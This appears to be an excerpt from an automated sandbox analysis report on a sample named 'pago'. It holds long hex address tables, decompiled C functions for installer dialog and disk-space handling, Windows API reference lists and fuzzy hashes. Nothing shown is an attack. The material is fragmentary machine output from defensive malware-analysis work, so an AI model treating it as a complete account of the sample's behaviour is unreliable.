                                                                  0x00000000
                                                                  0x732d219e
                                                                  0x732d21a8
                                                                  0x732d21a8
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20ec
                                                                  0x732d20f0
                                                                  0x732d20f5
                                                                  0x732d20f8
                                                                  0x732d20f9
                                                                  0x732d20fc
                                                                  0x732d2102
                                                                  0x732d2102
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d218e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20c5
                                                                  0x732d20c7
                                                                  0x732d20c7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1fc3
                                                                  0x732d1fc3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20da
                                                                  0x732d20dc
                                                                  0x732d20dc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1f67
                                                                  0x732d1f6d
                                                                  0x732d1f70
                                                                  0x732d1f72
                                                                  0x732d1f72
                                                                  0x732d1f75
                                                                  0x732d1f79
                                                                  0x732d1f86
                                                                  0x732d1f88
                                                                  0x732d1f8e
                                                                  0x732d1f8e
                                                                  0x732d1f8e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d208e
                                                                  0x732d208e
                                                                  0x732d2090
                                                                  0x732d2097
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20d6
                                                                  0x732d20d6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20a0
                                                                  0x732d20a0
                                                                  0x732d20a2
                                                                  0x732d20a9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20b2
                                                                  0x732d20b2
                                                                  0x732d20b4
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20e4
                                                                  0x732d20e4
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20bd
                                                                  0x732d20bd
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d210a
                                                                  0x732d210e
                                                                  0x732d2113
                                                                  0x732d2116
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20c8
                                                                  0x732d20c8
                                                                  0x732d20cb
                                                                  0x732d20cd
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20dd
                                                                  0x732d20dd
                                                                  0x732d20e6
                                                                  0x732d20e6
                                                                  0x732d1fc5
                                                                  0x732d1fc5
                                                                  0x732d1fc8
                                                                  0x732d1fcf
                                                                  0x732d1fd1
                                                                  0x732d1fd3
                                                                  0x732d1fda
                                                                  0x732d1fdd
                                                                  0x732d1fe2
                                                                  0x732d1fe4
                                                                  0x732d1fe6
                                                                  0x732d1fea
                                                                  0x732d1ff0
                                                                  0x732d1ff6
                                                                  0x732d1ff6
                                                                  0x732d1ff8
                                                                  0x732d1ff8
                                                                  0x732d1ff9
                                                                  0x732d1ff9
                                                                  0x732d1ffd
                                                                  0x732d2003
                                                                  0x732d2005
                                                                  0x732d2009
                                                                  0x732d200e
                                                                  0x732d200e
                                                                  0x732d2010
                                                                  0x732d2010
                                                                  0x732d2013
                                                                  0x732d2016
                                                                  0x732d201f
                                                                  0x732d2025
                                                                  0x732d2028
                                                                  0x732d2028
                                                                  0x732d202a
                                                                  0x732d202d
                                                                  0x732d2033
                                                                  0x732d2039
                                                                  0x732d2039
                                                                  0x732d203b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2041
                                                                  0x732d2041
                                                                  0x732d2045
                                                                  0x732d204c
                                                                  0x732d2070
                                                                  0x732d2070
                                                                  0x732d2074
                                                                  0x732d2076
                                                                  0x732d2079
                                                                  0x732d2079
                                                                  0x732d207c
                                                                  0x732d207c
                                                                  0x00000000
                                                                  0x732d2074
                                                                  0x732d2051
                                                                  0x732d2054
                                                                  0x732d2054
                                                                  0x732d205b
                                                                  0x732d205d
                                                                  0x732d2060
                                                                  0x732d2067
                                                                  0x732d2068
                                                                  0x732d206e
                                                                  0x732d206e
                                                                  0x00000000
                                                                  0x732d206e
                                                                  0x732d2062
                                                                  0x732d2065
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2065
                                                                  0x732d1ff2
                                                                  0x732d1ff4
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1f60
                                                                  0x732d1e05
                                                                  0x732d1e05
                                                                  0x732d1e06
                                                                  0x732d1f46
                                                                  0x00000000
                                                                  0x732d1f46
                                                                  0x732d1e0c
                                                                  0x732d1e0d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1e13
                                                                  0x732d1e16
                                                                  0x732d1f0b
                                                                  0x732d1f0b
                                                                  0x732d1f0e
                                                                  0x732d1f23
                                                                  0x732d1f25
                                                                  0x732d1f25
                                                                  0x732d1f26
                                                                  0x732d1f29
                                                                  0x732d1f2c
                                                                  0x732d1f38
                                                                  0x732d1f38
                                                                  0x732d1f38
                                                                  0x732d1f2e
                                                                  0x732d1f2e
                                                                  0x732d1f2e
                                                                  0x732d1f3e
                                                                  0x00000000
                                                                  0x732d1f3e
                                                                  0x732d1f10
                                                                  0x732d1f10
                                                                  0x732d1f11
                                                                  0x732d1f1f
                                                                  0x00000000
                                                                  0x732d1f1f
                                                                  0x732d1f14
                                                                  0x732d1f15
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1f1b
                                                                  0x00000000
                                                                  0x732d1f1b
                                                                  0x732d1e1c
                                                                  0x732d1f07
                                                                  0x00000000
                                                                  0x732d1f07
                                                                  0x732d1e22
                                                                  0x732d1e22
                                                                  0x732d1e25
                                                                  0x732d1e4e
                                                                  0x00000000
                                                                  0x732d1e4e
                                                                  0x732d1e27
                                                                  0x732d1e27
                                                                  0x732d1e2a
                                                                  0x732d1e44
                                                                  0x00000000
                                                                  0x732d1e44
                                                                  0x732d1e2c
                                                                  0x732d1e2c
                                                                  0x732d1e2f
                                                                  0x732d1e3e
                                                                  0x00000000
                                                                  0x732d1e3e
                                                                  0x732d1e32
                                                                  0x732d1e33
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1e35
                                                                  0x00000000
                                                                  0x732d1cec
                                                                  0x732d1cec
                                                                  0x732d1cef
                                                                  0x00000000
                                                                  0x732d1cef
                                                                  0x732d1ce6
                                                                  0x732d1cd3
                                                                  0x732d1cd8
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1cda
                                                                  0x732d1cdd
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1cdd
                                                                  0x732d1c6d
                                                                  0x732d1c70
                                                                  0x732d1ca6
                                                                  0x732d1ca9
                                                                  0x00000000
                                                                  0x732d1caf
                                                                  0x732d1cb1
                                                                  0x732d1cb5
                                                                  0x732d1cbc
                                                                  0x732d1cc3
                                                                  0x732d1cc6
                                                                  0x732d1cc9
                                                                  0x00000000
                                                                  0x732d1cc9
                                                                  0x732d1ca9
                                                                  0x732d1c72
                                                                  0x732d1c73
                                                                  0x732d1c8e
                                                                  0x732d1c91
                                                                  0x00000000
                                                                  0x732d1c97
                                                                  0x732d1c97
                                                                  0x732d1c9e
                                                                  0x732d1ca1
                                                                  0x00000000
                                                                  0x732d1ca1
                                                                  0x732d1c91
                                                                  0x732d1c78
                                                                  0x00000000
                                                                  0x732d1c7e
                                                                  0x732d1c7e
                                                                  0x732d1c85
                                                                  0x00000000
                                                                  0x732d1c85
                                                                  0x732d1c78
                                                                  0x732d1e74
                                                                  0x732d1e79
                                                                  0x732d1e7e
                                                                  0x732d1e82
                                                                  0x732d2355
                                                                  0x732d235b
                                                                  0x732d1e94
                                                                  0x732d1e96
                                                                  0x732d1e97
                                                                  0x732d227e
                                                                  0x732d227e
                                                                  0x732d2281
                                                                  0x732d2284
                                                                  0x732d22a1
                                                                  0x732d22a7
                                                                  0x732d22a9
                                                                  0x732d22af
                                                                  0x732d22c6
                                                                  0x732d22c6
                                                                  0x732d22c6
                                                                  0x732d22d3
                                                                  0x732d22d9
                                                                  0x732d22dc
                                                                  0x732d22e2
                                                                  0x732d22e4
                                                                  0x732d22e8
                                                                  0x732d22ea
                                                                  0x732d22f1
                                                                  0x732d22f6
                                                                  0x732d22f9
                                                                  0x732d22fb
                                                                  0x732d2300
                                                                  0x732d2312
                                                                  0x732d2312
                                                                  0x732d2300
                                                                  0x732d22f9
                                                                  0x732d22e8
                                                                  0x732d2318
                                                                  0x732d231b
                                                                  0x732d2325
                                                                  0x732d232d
                                                                  0x732d233a
                                                                  0x732d2340
                                                                  0x732d2343
                                                                  0x732d2273
                                                                  0x732d2273
                                                                  0x00000000
                                                                  0x732d2273
                                                                  0x732d2349
                                                                  0x732d234f
                                                                  0x732d234f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2351
                                                                  0x732d2351
                                                                  0x732d2351
                                                                  0x732d2351
                                                                  0x00000000
                                                                  0x732d231d
                                                                  0x732d231d
                                                                  0x732d2323
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2323
                                                                  0x732d231b
                                                                  0x732d22b2
                                                                  0x732d22b8
                                                                  0x732d22ba
                                                                  0x732d22c0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d22c0
                                                                  0x732d2286
                                                                  0x732d228d
                                                                  0x732d2293
                                                                  0x732d2299
                                                                  0x00000000
                                                                  0x732d2299
                                                                  0x732d1e9d
                                                                  0x732d1e9e
                                                                  0x732d225d
                                                                  0x732d225d
                                                                  0x732d2263
                                                                  0x732d2266
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d226d
                                                                  0x732d2272
                                                                  0x00000000
                                                                  0x732d2272
                                                                  0x732d1ea5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1eab
                                                                  0x732d1eab
                                                                  0x732d1eb4
                                                                  0x732d1eb9
                                                                  0x732d1ebf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1ec5
                                                                  0x732d1ed2
                                                                  0x732d1ed8
                                                                  0x732d1ee2
                                                                  0x732d1ee8
                                                                  0x732d1ef0
                                                                  0x732d1f00
                                                                  0x00000000
                                                                  0x732d1f00

                                                                  APIs
                                                                    • Part of subcall function 732D12BB: GlobalAlloc.KERNEL32(00000040,?,732D12DB,?,732D137F,00000019,732D11CA,-000000A0), ref: 732D12C5
                                                                  • GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 732D1D2D
                                                                  • lstrcpyW.KERNEL32 ref: 732D1D75
                                                                  • lstrcpyW.KERNEL32 ref: 732D1D7F
                                                                  • GlobalFree.KERNEL32 ref: 732D1D92
                                                                  • GlobalFree.KERNEL32 ref: 732D1E74
                                                                  • GlobalFree.KERNEL32 ref: 732D1E79
                                                                  • GlobalFree.KERNEL32 ref: 732D1E7E
                                                                  • GlobalFree.KERNEL32 ref: 732D2068
                                                                  • lstrcpyW.KERNEL32 ref: 732D2222
                                                                  • GetModuleHandleW.KERNEL32(00000008), ref: 732D22A1
                                                                  • LoadLibraryW.KERNEL32(00000008), ref: 732D22B2
                                                                  • GetProcAddress.KERNEL32(?,?), ref: 732D230C
                                                                  • lstrlenW.KERNEL32(00000808), ref: 732D2326
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
                                                                  • String ID: Nv@hv
                                                                  • API String ID: 245916457-4226514844
                                                                  • Opcode ID: 97d5ff7e89a1258bb193f54907edecb86093f97fd8bd074944686c3e049b375d
                                                                  • Instruction ID: cfbcbac67c27dcd424be88eae603c4aeb2669b57b14cef492626d91ac3ae3b5e
                                                                  • Opcode Fuzzy Hash: 97d5ff7e89a1258bb193f54907edecb86093f97fd8bd074944686c3e049b375d
                                                                  • Instruction Fuzzy Hash: 5F22AB71E3430ADFDB918FB4C9843AEB7B5FB04305F14852AD1A6E6684D7B4A6C1CB90
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 78%
                                                                  			E0040498A(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
                                                                  				signed int _v8;
                                                                  				signed int _v12;
                                                                  				long _v16;
                                                                  				long _v20;
                                                                  				long _v24;
                                                                  				char _v28;
                                                                  				intOrPtr _v32;
                                                                  				long _v36;
                                                                  				char _v40;
                                                                  				unsigned int _v44;
                                                                  				signed int _v48;
                                                                  				WCHAR* _v56;
                                                                  				intOrPtr _v60;
                                                                  				intOrPtr _v64;
                                                                  				intOrPtr _v68;
                                                                  				WCHAR* _v72;
                                                                  				void _v76;
                                                                  				struct HWND__* _v80;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				intOrPtr _t82;
                                                                  				long _t87;
                                                                  				short* _t89;
                                                                  				void* _t95;
                                                                  				signed int _t96;
                                                                  				int _t109;
                                                                  				signed short _t114;
                                                                  				signed int _t118;
                                                                  				struct HWND__** _t122;
                                                                  				intOrPtr* _t138;
                                                                  				WCHAR* _t146;
                                                                  				intOrPtr _t147;
                                                                  				unsigned int _t150;
                                                                  				signed int _t152;
                                                                  				unsigned int _t156;
                                                                  				signed int _t158;
                                                                  				signed int* _t159;
                                                                  				signed int* _t160;
                                                                  				struct HWND__* _t166;
                                                                  				struct HWND__* _t167;
                                                                  				int _t169;
                                                                  				unsigned int _t197;
                                                                  
                                                                  				_t156 = __edx;
                                                                  				_t82 =  *0x42c240; // 0x4dbf9c
                                                                  				_v32 = _t82;
                                                                  				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x436000;
                                                                  				_v12 =  *((intOrPtr*)(_t82 + 0x38));
                                                                  				if(_a8 == 0x40b) {
                                                                  					E00405B81(0x3fb, _t146);
                                                                  					E004067C4(_t146);
                                                                  				}
                                                                  				_t167 = _a4;
                                                                  				if(_a8 != 0x110) {
                                                                  					L8:
                                                                  					if(_a8 != 0x111) {
                                                                  						L20:
                                                                  						if(_a8 == 0x40f) {
                                                                  							L22:
                                                                  							_v8 = _v8 & 0x00000000;
                                                                  							_v12 = _v12 & 0x00000000;
                                                                  							E00405B81(0x3fb, _t146);
                                                                  							if(E00405F14(_t186, _t146) == 0) {
                                                                  								_v8 = 1;
                                                                  							}
                                                                  							E0040653D(0x42b238, _t146);
                                                                  							_t87 = E0040690A(1);
                                                                  							_v16 = _t87;
                                                                  							if(_t87 == 0) {
                                                                  								L30:
                                                                  								E0040653D(0x42b238, _t146);
                                                                  								_t89 = E00405EB7(0x42b238);
                                                                  								_t158 = 0;
                                                                  								if(_t89 != 0) {
                                                                  									 *_t89 = 0;
                                                                  								}
                                                                  								if(GetDiskFreeSpaceW(0x42b238,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
                                                                  									goto L35;
                                                                  								} else {
                                                                  									_t169 = 0x400;
                                                                  									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
                                                                  									asm("cdq");
                                                                  									_v48 = _t109;
                                                                  									_v44 = _t156;
                                                                  									_v12 = 1;
                                                                  									goto L36;
                                                                  								}
                                                                  							} else {
                                                                  								_t159 = 0;
                                                                  								if(0 == 0x42b238) {
                                                                  									goto L30;
                                                                  								} else {
                                                                  									goto L26;
                                                                  								}
                                                                  								while(1) {
                                                                  									L26:
                                                                  									_t114 = _v16(0x42b238,  &_v48,  &_v28,  &_v40);
                                                                  									if(_t114 != 0) {
                                                                  										break;
                                                                  									}
                                                                  									if(_t159 != 0) {
                                                                  										 *_t159 =  *_t159 & _t114;
                                                                  									}
                                                                  									_t160 = E00405E58(0x42b238);
                                                                  									 *_t160 =  *_t160 & 0x00000000;
                                                                  									_t159 = _t160;
                                                                  									 *_t159 = 0x5c;
                                                                  									if(_t159 != 0x42b238) {
                                                                  										continue;
                                                                  									} else {
                                                                  										goto L30;
                                                                  									}
                                                                  								}
                                                                  								_t150 = _v44;
                                                                  								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
                                                                  								_v44 = _t150 >> 0xa;
                                                                  								_v12 = 1;
                                                                  								_t158 = 0;
                                                                  								__eflags = 0;
                                                                  								L35:
                                                                  								_t169 = 0x400;
                                                                  								L36:
                                                                  								_t95 = E00404E27(5);
                                                                  								if(_v12 != _t158) {
                                                                  									_t197 = _v44;
                                                                  									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
                                                                  										_v8 = 2;
                                                                  									}
                                                                  								}
                                                                  								_t147 =  *0x433edc; // 0x4e3036
                                                                  								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
                                                                  									E00404E0F(0x3ff, 0xfffffffb, _t95);
                                                                  									if(_v12 == _t158) {
                                                                  										SetDlgItemTextW(_a4, _t169, 0x42b228);
                                                                  									} else {
                                                                  										E00404D46(_t169, 0xfffffffc, _v48, _v44);
                                                                  									}
                                                                  								}
                                                                  								_t96 = _v8;
                                                                  								 *0x434fa4 = _t96;
                                                                  								if(_t96 == _t158) {
                                                                  									_v8 = E0040140B(7);
                                                                  								}
                                                                  								if(( *(_v32 + 0x14) & _t169) != 0) {
                                                                  									_v8 = _t158;
                                                                  								}
                                                                  								E004044BB(0 | _v8 == _t158);
                                                                  								if(_v8 == _t158 &&  *0x42d258 == _t158) {
                                                                  									E004048E3();
                                                                  								}
                                                                  								 *0x42d258 = _t158;
                                                                  								goto L53;
                                                                  							}
                                                                  						}
                                                                  						_t186 = _a8 - 0x405;
                                                                  						if(_a8 != 0x405) {
                                                                  							goto L53;
                                                                  						}
                                                                  						goto L22;
                                                                  					}
                                                                  					_t118 = _a12 & 0x0000ffff;
                                                                  					if(_t118 != 0x3fb) {
                                                                  						L12:
                                                                  						if(_t118 == 0x3e9) {
                                                                  							_t152 = 7;
                                                                  							memset( &_v76, 0, _t152 << 2);
                                                                  							_v80 = _t167;
                                                                  							_v72 = 0x42d268;
                                                                  							_v60 = E00404CE0;
                                                                  							_v56 = _t146;
                                                                  							_v68 = E0040657A(_t146, 0x42d268, _t167, 0x42ba40, _v12);
                                                                  							_t122 =  &_v80;
                                                                  							_v64 = 0x41;
                                                                  							__imp__SHBrowseForFolderW(_t122);
                                                                  							if(_t122 == 0) {
                                                                  								_a8 = 0x40f;
                                                                  							} else {
                                                                  								__imp__CoTaskMemFree(_t122);
                                                                  								E00405E0C(_t146);
                                                                  								_t125 =  *((intOrPtr*)( *0x434f10 + 0x11c));
                                                                  								if( *((intOrPtr*)( *0x434f10 + 0x11c)) != 0 && _t146 == 0x440800) {
                                                                  									E0040657A(_t146, 0x42d268, _t167, 0, _t125);
                                                                  									if(lstrcmpiW(0x432ea0, 0x42d268) != 0) {
                                                                  										lstrcatW(_t146, 0x432ea0);
                                                                  									}
                                                                  								}
                                                                  								 *0x42d258 =  *0x42d258 + 1;
                                                                  								SetDlgItemTextW(_t167, 0x3fb, _t146);
                                                                  							}
                                                                  						}
                                                                  						goto L20;
                                                                  					}
                                                                  					if(_a12 >> 0x10 != 0x300) {
                                                                  						goto L53;
                                                                  					}
                                                                  					_a8 = 0x40f;
                                                                  					goto L12;
                                                                  				} else {
                                                                  					_t166 = GetDlgItem(_t167, 0x3fb);
                                                                  					if(E00405E83(_t146) != 0 && E00405EB7(_t146) == 0) {
                                                                  						E00405E0C(_t146);
                                                                  					}
                                                                  					 *0x433ed8 = _t167;
                                                                  					SetWindowTextW(_t166, _t146);
                                                                  					_push( *((intOrPtr*)(_a16 + 0x34)));
                                                                  					_push(1);
                                                                  					E00404499(_t167);
                                                                  					_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                  					_push(0x14);
                                                                  					E00404499(_t167);
                                                                  					E004044CE(_t166);
                                                                  					_t138 = E0040690A(8);
                                                                  					if(_t138 == 0) {
                                                                  						L53:
                                                                  						return E00404500(_a8, _a12, _a16);
                                                                  					} else {
                                                                  						 *_t138(_t166, 1);
                                                                  						goto L8;
                                                                  					}
                                                                  				}
                                                                  			}














































                                                                  0x0040498a
                                                                  0x00404990
                                                                  0x00404996
                                                                  0x004049a3
                                                                  0x004049b1
                                                                  0x004049b4
                                                                  0x004049bc
                                                                  0x004049c2
                                                                  0x004049c2
                                                                  0x004049ce
                                                                  0x004049d1
                                                                  0x00404a3f
                                                                  0x00404a46
                                                                  0x00404b1d
                                                                  0x00404b24
                                                                  0x00404b33
                                                                  0x00404b33
                                                                  0x00404b37
                                                                  0x00404b41
                                                                  0x00404b4e
                                                                  0x00404b50
                                                                  0x00404b50
                                                                  0x00404b5e
                                                                  0x00404b65
                                                                  0x00404b6c
                                                                  0x00404b6f
                                                                  0x00404bab
                                                                  0x00404bad
                                                                  0x00404bb3
                                                                  0x00404bb8
                                                                  0x00404bbc
                                                                  0x00404bbe
                                                                  0x00404bbe
                                                                  0x00404bda
                                                                  0x00000000
                                                                  0x00404bdc
                                                                  0x00404bdf
                                                                  0x00404bed
                                                                  0x00404bf3
                                                                  0x00404bf4
                                                                  0x00404bf7
                                                                  0x00404bfa
                                                                  0x00000000
                                                                  0x00404bfa
                                                                  0x00404b71
                                                                  0x00404b73
                                                                  0x00404b77
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404b79
                                                                  0x00404b79
                                                                  0x00404b86
                                                                  0x00404b8b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404b8f
                                                                  0x00404b91
                                                                  0x00404b91
                                                                  0x00404b9a
                                                                  0x00404b9c
                                                                  0x00404ba1
                                                                  0x00404ba4
                                                                  0x00404ba9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404ba9
                                                                  0x00404c06
                                                                  0x00404c10
                                                                  0x00404c13
                                                                  0x00404c16
                                                                  0x00404c1d
                                                                  0x00404c1d
                                                                  0x00404c1f
                                                                  0x00404c1f
                                                                  0x00404c24
                                                                  0x00404c26
                                                                  0x00404c2e
                                                                  0x00404c35
                                                                  0x00404c37
                                                                  0x00404c42
                                                                  0x00404c42
                                                                  0x00404c37
                                                                  0x00404c49
                                                                  0x00404c52
                                                                  0x00404c5c
                                                                  0x00404c64
                                                                  0x00404c7f
                                                                  0x00404c66
                                                                  0x00404c6f
                                                                  0x00404c6f
                                                                  0x00404c64
                                                                  0x00404c84
                                                                  0x00404c89
                                                                  0x00404c8e
                                                                  0x00404c97
                                                                  0x00404c97
                                                                  0x00404ca0
                                                                  0x00404ca2
                                                                  0x00404ca2
                                                                  0x00404cae
                                                                  0x00404cb6
                                                                  0x00404cc0
                                                                  0x00404cc0
                                                                  0x00404cc5
                                                                  0x00000000
                                                                  0x00404cc5
                                                                  0x00404b6f
                                                                  0x00404b26
                                                                  0x00404b2d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404b2d
                                                                  0x00404a4c
                                                                  0x00404a55
                                                                  0x00404a6f
                                                                  0x00404a74
                                                                  0x00404a7e
                                                                  0x00404a85
                                                                  0x00404a91
                                                                  0x00404a94
                                                                  0x00404a97
                                                                  0x00404a9e
                                                                  0x00404aa6
                                                                  0x00404aa9
                                                                  0x00404aad
                                                                  0x00404ab4
                                                                  0x00404abc
                                                                  0x00404b16
                                                                  0x00404abe
                                                                  0x00404abf
                                                                  0x00404ac6
                                                                  0x00404ad0
                                                                  0x00404ad8
                                                                  0x00404ae5
                                                                  0x00404af9
                                                                  0x00404afd
                                                                  0x00404afd
                                                                  0x00404af9
                                                                  0x00404b02
                                                                  0x00404b0f
                                                                  0x00404b0f
                                                                  0x00404abc
                                                                  0x00000000
                                                                  0x00404a74
                                                                  0x00404a62
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404a68
                                                                  0x00000000
                                                                  0x004049d3
                                                                  0x004049e0
                                                                  0x004049e9
                                                                  0x004049f6
                                                                  0x004049f6
                                                                  0x004049fd
                                                                  0x00404a03
                                                                  0x00404a0c
                                                                  0x00404a0f
                                                                  0x00404a12
                                                                  0x00404a1a
                                                                  0x00404a1d
                                                                  0x00404a20
                                                                  0x00404a26
                                                                  0x00404a2d
                                                                  0x00404a34
                                                                  0x00404ccb
                                                                  0x00404cdd
                                                                  0x00404a3a
                                                                  0x00404a3d
                                                                  0x00000000
                                                                  0x00404a3d
                                                                  0x00404a34

                                                                  APIs
                                                                  • GetDlgItem.USER32 ref: 004049D9
                                                                  • SetWindowTextW.USER32(00000000,?), ref: 00404A03
                                                                  • SHBrowseForFolderW.SHELL32(?), ref: 00404AB4
                                                                  • CoTaskMemFree.OLE32(00000000), ref: 00404ABF
                                                                  • lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 00404AF1
                                                                  • lstrcatW.KERNEL32(?,Call), ref: 00404AFD
                                                                  • SetDlgItemTextW.USER32 ref: 00404B0F
                                                                    • Part of subcall function 00405B81: GetDlgItemTextW.USER32 ref: 00405B94
                                                                    • Part of subcall function 004067C4: CharNextW.USER32(?,*?|<>/":,00000000,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
                                                                    • Part of subcall function 004067C4: CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
                                                                    • Part of subcall function 004067C4: CharNextW.USER32(?,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
                                                                    • Part of subcall function 004067C4: CharPrevW.USER32(?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E
                                                                  • GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 00404BD2
                                                                  • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BED
                                                                    • Part of subcall function 00404D46: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE7
                                                                    • Part of subcall function 00404D46: wsprintfW.USER32 ref: 00404DF0
                                                                    • Part of subcall function 00404D46: SetDlgItemTextW.USER32 ref: 00404E03
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                                  • String ID: 60N$A$Call
                                                                  • API String ID: 2624150263-302946458
                                                                  • Opcode ID: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
                                                                  • Instruction ID: a81e8b8b6ddc8ea4f7a7a45a10ce21cc850824e22f7b82fba9ad49fead82d7d1
                                                                  • Opcode Fuzzy Hash: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
                                                                  • Instruction Fuzzy Hash: CBA191B1900208ABDB119FA6DD45AAFB7B8EF84314F10803BF601B62D1D77C9A41CB6D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 67%
                                                                  			E004021AA(void* __eflags) {
                                                                  				signed int _t52;
                                                                  				void* _t56;
                                                                  				intOrPtr* _t60;
                                                                  				intOrPtr _t61;
                                                                  				intOrPtr* _t62;
                                                                  				intOrPtr* _t64;
                                                                  				intOrPtr* _t66;
                                                                  				intOrPtr* _t68;
                                                                  				intOrPtr* _t70;
                                                                  				intOrPtr* _t72;
                                                                  				intOrPtr* _t74;
                                                                  				intOrPtr* _t76;
                                                                  				intOrPtr* _t78;
                                                                  				intOrPtr* _t80;
                                                                  				void* _t83;
                                                                  				intOrPtr* _t91;
                                                                  				signed int _t101;
                                                                  				signed int _t105;
